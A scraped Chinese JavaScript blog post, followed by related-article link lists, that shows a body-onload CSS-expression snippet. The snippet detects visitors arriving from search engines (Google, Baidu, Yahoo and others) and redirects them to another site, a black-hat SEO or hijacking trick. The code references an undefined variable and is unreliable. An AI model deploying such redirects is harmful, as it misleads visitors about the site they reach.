JavaScript脚本判断蜘蛛来源的方法


Posted in Javascript onSeptember 22, 2015

今天介绍的这个JS判断蜘蛛来源的方法脚本是写在body的onload里面的。即页面加载时进行判断。代码如下:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

这个JS判断蜘蛛来源方法不太好用。特别是在需要判断更多蜘蛛来源时代码写起来比较麻烦。

Javascript 相关文章推荐
js中eval()函数和trim()去掉字符串左右空格应用
Feb 02 Javascript
jquery使用正则表达式验证email地址的方法
Jan 22 Javascript
浏览器环境下JavaScript脚本加载与执行探析之defer与async特性
Jan 14 Javascript
JS 拼凑字符串的简单实例
Sep 02 Javascript
Vuejs第十篇之vuejs父子组件通信
Sep 06 Javascript
Angular使用ng-messages与PHP进行表单数据验证
Dec 28 Javascript
JS常见构造模式实例对比分析
Aug 27 Javascript
angular 实时监听input框value值的变化触发函数方法
Aug 31 Javascript
vue完成项目后,打包成静态文件的方法
Sep 03 Javascript
vue 使用鼠标滚动加载数据的例子
Oct 31 Javascript
javascript实现一款好看的秒表计时器
Sep 05 Javascript
关于小程序优化的一些建议(小结)
Dec 10 Javascript
jQuery实现的经典滑动门效果
Sep 22 #Javascript
jquery实现的简单二级菜单效果代码
Sep 22 #Javascript
jfinal与bootstrap的登录跳转实战演习
Sep 22 #Javascript
jquery实现经典的淡入淡出选项卡效果代码
Sep 22 #Javascript
JS+CSS实现类似QQ好友及黑名单效果的树型菜单
Sep 22 #Javascript
jQuery实现Flash效果上下翻动的中英文导航菜单代码
Sep 22 #Javascript
QQ登录背景闪动效果附效果演示源码下载
Sep 22 #Javascript
You might like
《Re:从零开始的异世界生活》剧情体验,手游新作定名
2020/04/09 日漫
PHP 获取MySQL数据库里所有表的实现代码
2011/07/13 PHP
深入phpMyAdmin的安装与配置的详细步骤
2013/05/07 PHP
一漂亮的PHP图片验证码实例
2014/03/21 PHP
php利用cookies实现购物车的方法
2014/12/10 PHP
php恢复数组的key为数字序列的方法
2015/04/28 PHP
PHP获取文件扩展名的4种方法
2015/11/24 PHP
PHP文件缓存smarty模板应用实例分析
2016/02/26 PHP
Yii多表联合查询操作详解
2016/06/02 PHP
PHP 中TP5 Request 请求对象的实例详解
2017/07/31 PHP
基于laravel where的高级使用方法
2019/10/10 PHP
javascript 硬盘序列号+其它硬件信息
2008/12/23 Javascript
javascript类型转换示例
2014/04/29 Javascript
Jquery之Bind方法参数传递与接收的三种方法
2014/06/24 Javascript
node.js中的querystring.stringify方法使用说明
2014/12/10 Javascript
高性能JavaScript 重排与重绘(2)
2015/08/11 Javascript
第一次动手实现bootstrap table分页效果
2016/09/22 Javascript
Javascript 获取鼠标当前的位置实现方法
2016/10/27 Javascript
谈谈JavaScript数组常用方法总结
2017/01/24 Javascript
vue组件如何被其他项目引用
2017/04/13 Javascript
Angular中$state.go页面跳转并传递参数的方法
2017/05/09 Javascript
js学习总结_轮播图之渐隐渐现版(实例讲解)
2017/07/17 Javascript
JavaScript门面模式详解
2017/10/19 Javascript
webstorm添加*.vue文件支持
2018/05/08 Javascript
简单了解JavaScript异步
2019/05/23 Javascript
[00:52]DOTA2齐天大圣预告片
2016/08/13 DOTA
pyqt5的QComboBox 使用模板的具体方法
2018/09/06 Python
Old Navy加拿大官网:美式休闲服饰品牌
2017/09/26 全球购物
德国内衣、泳装和睡衣网上商店:Bigsize Dessous
2018/07/09 全球购物
亚马逊巴西站:Amazon.com.br
2019/09/22 全球购物
Java的五个基础面试题
2016/02/26 面试题
校长岗位职责
2013/11/26 职场文书
蔬菜基地的创业计划书
2014/01/06 职场文书
JS一分钟在github+Jekyll的博客中添加访问量功能的实现
2021/04/03 Javascript
Java方法重载和方法重写的区别到底在哪?
2021/06/11 Java/Android
MySQL数据库表约束讲解
2022/06/21 MySQL